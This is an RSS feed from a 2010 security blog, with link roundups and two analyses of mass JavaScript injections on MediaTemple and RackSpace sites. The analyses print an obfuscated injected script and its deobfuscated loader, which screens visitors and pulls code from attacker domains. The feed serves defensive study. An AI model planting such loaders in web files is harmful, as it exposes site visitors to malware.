<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Unmask Parasites. Blog.</title>
	
	<link>http://blog.unmaskparasites.com</link>
	<description>Website insecurity by example</description>
	<lastBuildDate>Mon, 30 Aug 2010 11:30:19 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/unmaskparasites" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="unmaskparasites" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">unmaskparasites</feedburner:emailServiceId><feedburner:feedburnerHostname xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Tweet Week: August 23-29, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/08/30/tweet-week-august-23-29-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/08/30/tweet-week-august-23-29-2010/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 11:30:19 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[phpMyAdmin]]></category>
		<category><![CDATA[StopBadware]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=674</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

August 23, 2010
RT @briankrebs: Anti-virus products struggle against exploits &#8212; AV let malware get in in hope to stop it later?
[h-online.com] phpMyAdmin updates close vulnerabilities &#8212; both for v2.11.x and v3.x branches
August 27, 2010
[blog update] New wave of hacks on [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-674"></span><br />
<span style="color: #888888;"><strong>August 23, 2010</strong></span></p>
<p style="padding-left: 30px;">RT @<a rel="nofollow" href="http://twitter.com/briankrebs">briankrebs</a>: <a href="http://krebsonsecurity.com/2010/08/anti-virus-products-struggle-against-exploits/">Anti-virus products struggle against exploits</a> &#8212; AV let malware get in in hope to stop it later?</p>
<p style="padding-left: 30px;">[h-online.com] <a rel="nofollow" href="http://www.h-online.com/security/news/item/phpMyAdmin-updates-close-vulnerabilities-1063579.html">phpMyAdmin updates close vulnerabilities</a> &#8212; both for v2.11.x and v3.x branches</p>
<p><span style="color: #888888;"><strong>August 27, 2010</strong></span></p>
<p style="padding-left: 30px;">[blog update] <a href="http://blog.unmaskparasites.com/2010/08/14/pqshow-org-scripts-new-plague-on-mediatemple-sites/#up_270810">New wave of hacks on MediaTemple</a> &#8212; new revisions of the same scripts</p>
<p style="padding-left: 30px;">Transcript of a <a href="http://www.stopbadware.org/events/apps-web-chat">web chat &#8220;Applications&#8217; Role in Protecting Users from Badware&#8221;</a> &#8211;<a rel="nofollow" href="http://bit.ly/9iHeU1" target="_blank"></a> (with Adobe &amp; Mozilla) via @<a rel="nofollow" href="http://twitter.com/stopbadware">stopbadware</a></p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=NlRks1jyBBc:I31QhNcKjwg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=NlRks1jyBBc:I31QhNcKjwg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=NlRks1jyBBc:I31QhNcKjwg:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/08/30/tweet-week-august-23-29-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tweet Week: August 16-22, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/08/23/tweet-week-august-16-22-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/08/23/tweet-week-august-16-22-2010/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 14:20:48 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[Google Analytics]]></category>
		<category><![CDATA[Network Solution]]></category>
		<category><![CDATA[Webmaster Tools]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=672</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

August 16, 2010
[blog.s21sec.com] Dealing with Google&#8217;s malware warnings (in Spanish) &#8212; via @S21sec
August 17, 2010
[h-online.com] ColdFusion vulnerability more critical than first thought &#8212; passwords accessible via dir traversal
[armorize.com] thousands of sites were infected via a compromised NetworkSolutions widget: 1 &#38; [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-672"></span><br />
<span style="color: #888888;"><strong>August 16, 2010</strong></span></p>
<p style="padding-left: 30px;">[blog.s21sec.com] <a href="http://blog.s21sec.com/2010/08/visitar-este-sitio-puede-danar-tu.html">Dealing with Google&#8217;s malware warnings</a> (in Spanish) &#8212; via @<a rel="nofollow" href="http://twitter.com/S21sec">S21sec</a></p>
<p><span style="color: #888888;"><strong>August 17, 2010</strong></span></p>
<p style="padding-left: 30px;">[h-online.com] <a href="http://www.h-online.com/security/news/item/ColdFusion-vulnerability-more-critical-than-first-thought-1060349.html">ColdFusion vulnerability more critical than first thought</a> &#8212; passwords accessible via dir traversal</p>
<p style="padding-left: 30px;">[armorize.com] thousands of sites were infected via a compromised NetworkSolutions widget: <a href="http://blog.armorize.com/2010/08/smci-widget-by-network-solutions-still.html">1</a> &amp; <a href="http://blog.armorize.com/2010/08/more-than-500000-network-solutions.html">2</a></p>
<p><span style="color: #888888;"><strong>August 18, 2010</strong></span></p>
<p style="padding-left: 30px;">[minor update] Unmask Parasites v0.5.242 <a rel="nofollow" href="http://www.unmaskparasites.com/" target="_blank">http://www.UnmaskParasites.com/</a> &#8211; better detection of suspicious scripts</p>
<p style="padding-left: 30px;">The sign that jQuery is very popular &#8211; hackers now inject malicious scripts from typo domains like &#8220;<a href="http://www.google.com/safebrowsing/diagnostic?site=www.iguery.com">iguery .com</a>&#8221; (link to safe browsing diagnostic page)</p>
<p><span style="color: #888888;"><strong>August 19, 2010</strong></span></p>
<p style="padding-left: 30px;">[Google Webmaster Central] You can <a href="http://googlewebmastercentral.blogspot.com/2010/08/verification-time-savers-analytics.html">verify site ownership in Webmaster Tools linking to your Google Analytics account</a></p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=3cKbyzxQzF8:Q3_Ew_rNt4A:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=3cKbyzxQzF8:Q3_Ew_rNt4A:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=3cKbyzxQzF8:Q3_Ew_rNt4A:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/08/23/tweet-week-august-16-22-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tweet Week: August 9-15, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/08/16/tweet-week-august-9-15-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/08/16/tweet-week-august-9-15-2010/#comments</comments>
		<pubDate>Mon, 16 Aug 2010 14:56:08 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[MediaTemple]]></category>
		<category><![CDATA[phpMyAdmin]]></category>
		<category><![CDATA[SQL-injection]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=670</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

August 9, 2010
[Google Webmaster Forum] Massive SQL injections of  &#8220;google-server43 (dot) info&#8221;  &#8211; as always ASP(.NET) sites are affected
August 10, 2010
[softpedia.com] New Mass Injection Attack Adds Rogue Code to Existent JS Files
updated lists of Gumblar zombie URLs and [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-670"></span><br />
<span style="color: #888888;"><strong>August 9, 2010</strong></span></p>
<p style="padding-left: 30px;">[Google Webmaster Forum] <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=2268596b89dbd886&amp;hl=en">Massive SQL injections of  &#8220;google-server43 (dot) info&#8221;</a> <a rel="nofollow" href="http://bit.ly/cVQngT" target="_blank"></a> &#8211; as always ASP(.NET) sites are affected</p>
<p><span style="color: #888888;"><strong>August 10, 2010</strong></span></p>
<p style="padding-left: 30px;">[softpedia.com] <a href="http://news.softpedia.com/news/New-Mass-Injection-Attack-Adds-Rogue-Code-to-Existent-JS-Files-151240.shtml">New Mass Injection Attack Adds Rogue Code to Existent JS Files</a></p>
<p style="padding-left: 30px;">updated lists of <a href="http://blog.unmaskparasites.com/2009/12/18/list-of-gumblar-zombie-urls/">Gumblar zombie URLs</a> and <a href="http://blog.unmaskparasites.com/2010/05/22/malware-on-hijacked-subdomains-new-trend/">hijacked subdomains</a></p>
<p style="padding-left: 30px;">[wordpress.org] <a href="http://wordpress.org/support/topic/was-my-site-just-hacked-found-random-script-in-all-pagesposts/page/2?replies=50#post-1635861">MediaTemple scans &amp; cleans hacked websites of their clients</a> &#8212; Google malware review is still required</p>
<p><span style="color: #888888;"><strong>August 12, 2010</strong></span></p>
<p style="padding-left: 30px;">[h-online.com] <a href="http://www.h-online.com/security/news/item/Botnet-attacks-SSH-servers-1057642.html">Botnet attacks SSH servers</a> &#8212; phpMyAdmin vulnerability used to infect Linux servers</p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=aJnw5NxrzGU:x39R2I8Rw4Q:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=aJnw5NxrzGU:x39R2I8Rw4Q:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=aJnw5NxrzGU:x39R2I8Rw4Q:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/08/16/tweet-week-august-9-15-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pqshow .org Scripts – New Plague On MediaTemple Sites</title>
		<link>http://blog.unmaskparasites.com/2010/08/14/pqshow-org-scripts-new-plague-on-mediatemple-sites/</link>
		<comments>http://blog.unmaskparasites.com/2010/08/14/pqshow-org-scripts-new-plague-on-mediatemple-sites/#comments</comments>
		<pubDate>Sat, 14 Aug 2010 22:10:41 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[CIHost]]></category>
		<category><![CDATA[MediaTemple]]></category>
		<category><![CDATA[obfuscated script]]></category>
		<category><![CDATA[RackSpace]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=668</guid>
		<description><![CDATA[New week &#8212; new attack on MediaTemple-hosted sites.
Almost everything remains the same as in the last week&#8217;s attack I described here. The only difference is the new script and the new remote malicious site &#8211; bl .pqshow .org.

Malicious script
var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%61%3D%64...skipped ...%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;
After two rounds of deobfuscation, we have the following external script:
&#60;s cript [...]]]></description>
			<content:encoded><![CDATA[<p>New week &#8212; new attack on MediaTemple-hosted sites.</p>
<p>Almost everything remains the same as in the last week&#8217;s attack I <a href="http://blog.unmaskparasites.com/2010/08/08/malicious-ads-and-bars-on-rackspace-mediatemple/">described here</a>. The only difference is the new script and the new remote malicious site &#8211; <span style="color: #993300;">bl .pqshow .org</span>.<br />
<span id="more-668"></span></p>
<h3 id="script">Malicious script</h3>
<p><code>var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%61%3D%64<span style="color: #808000;">...skipped ...</span>%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;</code></p>
<p>After two rounds of deobfuscation, we have the following external script:</p>
<p><code>&lt;s cript type="text/javascript" src="hxxp://<strong>bl .pqshow .org</strong>/js/in.js"&gt;&lt;/script&gt;</code></p>
<p>As a week ago, this script is either prepended to first lines of random <strong>.js</strong> files, or injected directly into web pages, enclosed into <strong>&lt;ads&gt;&#8230;&lt;/ads&gt;</strong> tags (mainly when websites don&#8217;t use local <strong>.js</strong> file). The script itself (after the first round of deobfuscation) also resembles the last week&#8217;s script. The main difference is the use of a single domain name (<em><span style="color: #993300;">bl .pqshow .org</span></em>) instead of multiple combinations of 5 second level domains and 36 third level domains.</p>
<h3>C I Host</h3>
<p>As in all <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/#scripts">previous attacks</a> against MediaTemple and RackSpace, the malicious server is hosted by C I Host (Florida, Tampa). I wonder if MediaTemple and RackSpace eventually decide to sue C I Host for continuous attacks on their networks, or just force them to shut down malicious servers.</p>
<h3 id="common">Looking for common denominator</h3>
<p>As far as I know, all those attacks affect sites on accounts that have at least one mySql-driven application (it may work on another domain but still under the same hosting account) . Let me know if your site is affected, but you don&#8217;t have any applications that work with mySql.</p>
<p>The modification dates of affected files remain unmodified. Most likely hackers use some PHP script that injects malicious code and then restores  the original modification date using the <strong>touch</strong> command. Most likely they can also change file and directory permissions.  Anyway, I still suggest that you make most files read-only for all (at least <strong>.js</strong> files and WordPress theme files).  Please let me know if any of your read only files get affected by hackers.</p>
<p>You can find more <a href="http://blog.unmaskparasites.com/2010/08/08/malicious-ads-and-bars-on-rackspace-mediatemple/#webmasters">information on how to recover from this hacking</a> in my previous article.</p>
<h3 id="cleanup">Centralized clean-up</h3>
<p>As far as I know, last time MediaTemple scanned their servers for infected files and removed the malicious content not waiting for their client help requests. To minimize undesired effects of such an automated clean-up they created back-up copies of affected files before changing their content. This is a really good deed. MediaTemple hosts many popular sites and this way they saved thousands of web surfers from malware attacks. They also helped some webmasters avoid site blacklisting. However webmasters of already blacklisted sites stilled needed to explicitly request malware reviews via Google Webmaster Tools to unblock their clean (at that moment) sites.</p>
<p>Today, <a href="http://www.google.com/safebrowsing/diagnostic?site=pqshow.org">Google reports</a> <strong>1,000+</strong> sites affected with this &#8220;<span style="color: #993300;"><em>bl .pqshow .org</em></span>&#8221; hack  and many of them are still infected. Hope, it&#8217;s only a matter of time before MediaTemple runs their clean-up bots.</p>
<h3 id="mt">To MediaTemple</h3>
<p>I want to hear from MediaTemple how <strong>exactly</strong> hackers manage to injects malicious scripts into web sites of their clients. If it&#8217;s a vulnerability in a third party software then let us know what exactly is vulnerable. If it&#8217;s is because of insufficiently strict file permissions, then let us know what are the secure permissions.</p>
<p>When hackers manage to compromise thousands of sites in a very short time, and do it again and again during this summer, they should leave traces.  You should have all the logs and tools to find them. Compare access logs of affected sites and find common IPs and suspicious access patterns (e.g. access to <strong>.php</strong> files on WP blogs with a &#8220;pretty permalink&#8221; structure). Check who was logged in when this happened, who used mySql, etc. Create honeypot accounts.</p>
<p>I know this means a lot of work and a lot of data to analyze &#8212; but this is the only way to find out what makes such massive hacks possible. And once you find this out, you should close rogue accounts (if they exist) and then do exactly the same thing that hackers do to find vulnerable accounts and, instead of hacking them, close the security holes by yourselves or notify webmasters and instruct them on how to secure their sites (and I don&#8217;t mean general instructions here). Until you do it, your infrastructure should be considered insecure. The fact that you haven&#8217;t yet figured out the exact attack scenario and couldn&#8217;t prevent consecutive massive attacks only proves this. The same applies to RackSpace.</p>
<p><strong id="up_270810">Update (Aug 27th, 2010): </strong>This week I see  a new wave of infections of MediaTemple sites.  A few new modifications of the same  script. They inject external scripts from new malicious domains (<span style="color: #993300;"><em>etufg .com</em></span>, <span style="color: #993300;"><em>crocro .biz</em></span>, <span style="color: #993300;"><em>shindigz .info</em></span>) and the following subdomains (&#8220;<em>keg</em>&#8220;, &#8220;<em>kei</em>&#8220;, &#8220;<em>ken</em>&#8220;, &#8220;<em>kep</em>&#8220;, &#8220;<em>kev</em>&#8220;, &#8220;<em>kex</em>&#8220;, &#8220;<em>key</em>&#8220;, &#8220;<em>khi</em>&#8220;, &#8220;<em>kid</em>&#8220;, &#8220;<em>kif</em>&#8220;),  e.g.</p>
<p><code>&lt;s cript type="text/javascript" src="hxxp://kif.<strong>crocro .biz</strong>/tools/js.js"&gt;&lt;/script&gt;</code></p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2010/08/08/malicious-ads-and-bars-on-rackspace-mediatemple/">Malicious “ads” and “bars” on RackSpace &amp; MediaTemple</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/">Attack on WordPress Blogs on RackSpace</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/11/network-solutions-and-wordpress-security-flaw/">Network Solutions and WordPress Security Flaw</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=aItabNPZS3g:o_s5VH_YppU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=aItabNPZS3g:o_s5VH_YppU:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=aItabNPZS3g:o_s5VH_YppU:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/08/14/pqshow-org-scripts-new-plague-on-mediatemple-sites/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Malicious “ads” and “bars” on RackSpace &amp; MediaTemple</title>
		<link>http://blog.unmaskparasites.com/2010/08/08/malicious-ads-and-bars-on-rackspace-mediatemple/</link>
		<comments>http://blog.unmaskparasites.com/2010/08/08/malicious-ads-and-bars-on-rackspace-mediatemple/#comments</comments>
		<pubDate>Sun, 08 Aug 2010 20:30:37 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[MediaTemple]]></category>
		<category><![CDATA[mySql]]></category>
		<category><![CDATA[obfuscated script]]></category>
		<category><![CDATA[RackSpace]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wp-config.php]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=666</guid>
		<description><![CDATA[Right before this week-end I noticed an increased number of sites hosted on MediaTemple and RackSpace coming to Unmask Parasites with the same problem &#8212; their sites are blocked by Google and their diagnostic pages mention the following five domains: &#8220;myads .name&#8220;, &#8220;adsnet .biz&#8220;, &#8220;toolbarcom .org&#8220;, &#8220;mybar .us&#8220;, &#8220;freead .name&#8220;.

For this particular attack, Unmask Parasites [...]]]></description>
			<content:encoded><![CDATA[<p>Right before this week-end I noticed an increased number of sites hosted on MediaTemple and RackSpace coming to <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> with the same problem &#8212; their sites are <a href="http://www.unmaskparasites.com/malware-warning-guide/">blocked by Google</a> and their diagnostic pages mention the following five domains: &#8220;<span style="color: #993300;"><em>myads .name</em></span>&#8220;, &#8220;<span style="color: #993300;"><em>adsnet .biz</em></span>&#8220;, &#8220;<span style="color: #993300;"><em>toolbarcom .org</em></span>&#8220;, &#8220;<span style="color: #993300;"><em>mybar .us</em></span>&#8220;, &#8220;<span style="color: #993300;"><em>freead .name</em></span>&#8220;.<br />
<span id="more-666"></span><br />
For this particular attack, <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> is not the most effective detection tool since it doesn&#8217;t check external <strong>.js</strong> files. And in this case hackers inject their malicious scripts into stand-alone JavaScript files and rarely directly into web pages (the latter case is detected, of course).</p>
<p>The malicious script we are talking about is this:</p>
<p><code>var st1 = 0;this.b=this.M="";this.A="";this.w=false;this.N=""; (function(c){this.m=false;this.J="";this.G=this.e=this.l=false;var g=window;this.i="";var d=g["unescap"+unescape("%65")],h=String["f"+unescape("%72%6f%6d%43%68%61%72%43%6f%64%65")];this.C="qO";this.B="oB";var a=new String("");this.I="sW";var e=new String("%");this.d="";<span style="color: #808000;">...skipped...</span>g["e"+unescape("%76%61%6c")](d);this.t=this.K=false;return d})("9e899ac889d59f8<span style="color: #808000;">...skipped...</span>1989cd6cfc195d3"); this.n=3279;this.O=58441;var gr0=0;</code></p>
<p>It is usually injected at the very top of <em>random</em> <strong>.js</strong> files. Note, hackers don&#8217;t add a new line of code to your <strong>.js</strong> files &#8212; they prepend this script t0 existing code on the first line. Everything after &#8220;<span style="color: #993300;"><em>this.O=58441;var gr0=0;</em></span>&#8221; is your legitimate code &#8212; be careful when removing the malicious scripts.</p>
<p>In rare cases of infected web pages, this very script is injected either right after the <strong>&lt;body&gt;</strong> tag or right before the <strong>&lt;/html&gt;</strong> tag. In either case it is enclosed in <strong>&lt;ads&gt;</strong>&#8230;<strong>&lt;/ads&gt;</strong> tags.</p>
<p>This is a deobfuscated version of the script:</p>
<p><code>var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion;<br />
if (document.cookie.indexOf("holycookie")==-1 &amp;&amp; !a.toLowerCase().match(b) &amp;&amp; c.toLowerCase().indexOf("win")!=-1){<br />
var d = ["<strong>myads .name</strong>","<strong>adsnet .biz</strong>","<strong>toolbarcom .org</strong>","<strong>mybar .us</strong>","<strong>freead .name</strong>"],<br />
e = ["axe.","box.","cox.","dex.","fax.","fix.","fox.","gox.","hex.","kex.","lax.","lex.","lox.","lux.","max.","mix.","nix.","oxo.","oxy.","pax.","pix.","pox.","pyx.","rax.","rex.","sax.","sex.","six.","sox.","tax.","tux.","vex.","vox.","wax.","xis.","zax."],<br />
f = Math.floor(Math.random()*d.length),<br />
g = Math.floor(Math.random()*e.length);<br />
dt = new Date;dt.setTime(dt.getTime()+9072E4);<br />
document.cookie="holycookie="+escape("holycookie")+";expires="+dt.toGMTString()+";path=/";<br />
document.wr ite('&lt;scr ipt type="text/javascript" src="http://'+e[g]+d[f]+'/system/caption.js"&gt;&lt;\/scr ipt&gt;')<br />
};</code></p>
<p>This script checks whether a visitor should be attacked (first time visitor on a Windows computer, not a search engine bot) and injects another script that loads content from a server controlled by cyber-criminals. To construct the address of that remote script, hackers use random items from the list of <strong>5</strong> second level domains: <strong>myads .name</strong>&#8220;, &#8220;<strong>adsnet .biz</strong>&#8220;, &#8220;<strong>toolbarcom .org</strong>&#8220;, &#8220;<strong>mybar .us</strong>&#8220;, &#8220;<strong>freead .name</strong> and the list of <strong>36</strong> prefixes (third level domains).  This way we have <strong>180</strong> different full domain combinations (e.g. <em><span style="color: #993300;">hex .freead .name</span></em> or <span style="color: #993300;"><em>lax .toolbarcom .org</em></span> etc.) that point to the save servers  on <strong>C I Host</strong> network.</p>
<h3 id="predecessors">Predecessors of this attack</h3>
<p>Two month ago I wrote about an attack that <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/">affected many WordPress blogs on RackSpace</a> &#8212; now we have a next round of the same attack. Check how they both  <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/#scripts">use lists of <strong>5</strong> second level domains</a> hosted on <strong>C I Host</strong> along with long lists of third level domains to construct addresses of malicious remote sites.</p>
<p>There had also been an attack with a similar script on MediaTemple. It used the following four second level domains: ['<span style="color: #993300;"><em>edisonsnightclub .com</em></span>','<span style="color: #993300;"><em>emapis .org</em></span>','<span style="color: #993300;"><em>ideacoreportal .com</em></span>','<span style="color: #993300;"><em>karenegren .com</em></span>']</p>
<p>It&#8217;s clear that the same gang successfully attacks sites on RackSpace and MediaTemple again and again.</p>
<h3 id="prevalence">Prevalence estimates</h3>
<p>At this point Google reports <strong>3,000+</strong> infected domains where the above five &#8220;<em>ads</em>&#8221; and &#8220;<em>bars</em>&#8221;  sites are mentioned as an infection source. In my experience, this  number in underestimated. Google only scans <strong>10-20</strong>% of sites . When I  checked sites on one affected IP address, I managed to find twice as much  infected sites as Google. This mean that the real number of infected  sites can be more than <strong>6,000</strong>.</p>
<h3 id="mystery">Mysterious security hole</h3>
<p>At this point it is not clear how this attack works and what security hole is exploited. Although RackSpace &amp; MediaTemple don&#8217;t acknowledge any security hole in their infrastructure, I still think that they might overlook certain weak point in their systems.</p>
<p>Let&#8217;s think logically. We have a series of attacks that mainly affect either MediaTemple or RackSpace or both hosting providers.</p>
<p>I doubt this could be a case of FTP credentials stolen from webmasters&#8217; computers &#8212; I can hardly imagine malware that only affects clients of particular hosting providers.</p>
<p>And it cannot be a regular vulnerability in some third-party application, otherwise why would hackers limit their victims to sites hosted on RackSpace and MediaTemple? It would be much more efficient to target all vulnerable sites regardless of their location. Moreover, many affected sites are using the most recent, presumably secure versions of WordPress and Joomla.</p>
<p>It&#8217;s definitely some obscure inherent vulnerability. Security engineers of the both hosting providers have been <a href="http://weblog.mediatemple.net/weblog/2010/08/06/security-facts/">investigating</a> these issues for several months now but cannot either tell us how exactly hackers break into websites of their clients nor can they prevent subsequent massive hacks. They have all the logs and tools, but cannot trace the hackers. To my mind, this means that they don&#8217;t totally understand the nature of the attacks.  They just do their usual rounds of security checks and system hardening procedures, but don&#8217;t properly address less known attack vectors.</p>
<p>But I hope it&#8217;s only a matter of time before these two (otherwise great) hosting providers finally figure out the whole scheme and will be able to properly protect they clients against such hacks.</p>
<h3 id="brainstorming">Some brainstorming</h3>
<p>As an external observer, I don&#8217;t have access to all the data required to investigate such attacks. I can only analyze publicly available information. At this point I can see that all affected sites use PHP applications that work with mySql (WordPress and Joomla).  So could this be done via mySql? If someone has access to client&#8217;s databases, they can do a lot of things &#8211; create new admin users, inject malicious code into table (we saw it during the <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/#details">previous attack</a>), use new application users to modify files on server using built-in theme/template editors, etc.</p>
<p>MediaTemple <a href="http://weblog.mediatemple.net/weblog/2010/08/06/security-facts/">thinks</a> this can be done using database passwords stolen from non-secure customer-installed software:</p>
<blockquote><p>For the most recent customer attacks, we have found the most common way of gaining access is through non-secure customer-installed software. Vulnerable customer software (blogs, CMS, PHP apps) give attackers access to view and steal database passwords from application configuration files, illicitly inject code, and create backdoor access to user applications.</p></blockquote>
<p>This may mean world-readable <em><strong>wp-config.php</strong></em> (WordPress) and <em><strong>configuration.php</strong></em> (Joomla) files. Ok. If you (MT &amp; RS) know this, why not scan user accounts for world-readable <em>wp-config.php</em> and <em>configuration.php</em> files and notify users about this security hole, and recommend them to change database passwords and chmod the config files to <strong>600</strong>? This proactive step could prevent last week&#8217;s massive hacks (of course, if you are right about the vector). However, this hasn&#8217;t been done yet (I just helped one webmaster recover his site from this hack and his <em>wp-config.php</em> was <strong>644</strong> and he thought it was perfectly fine).</p>
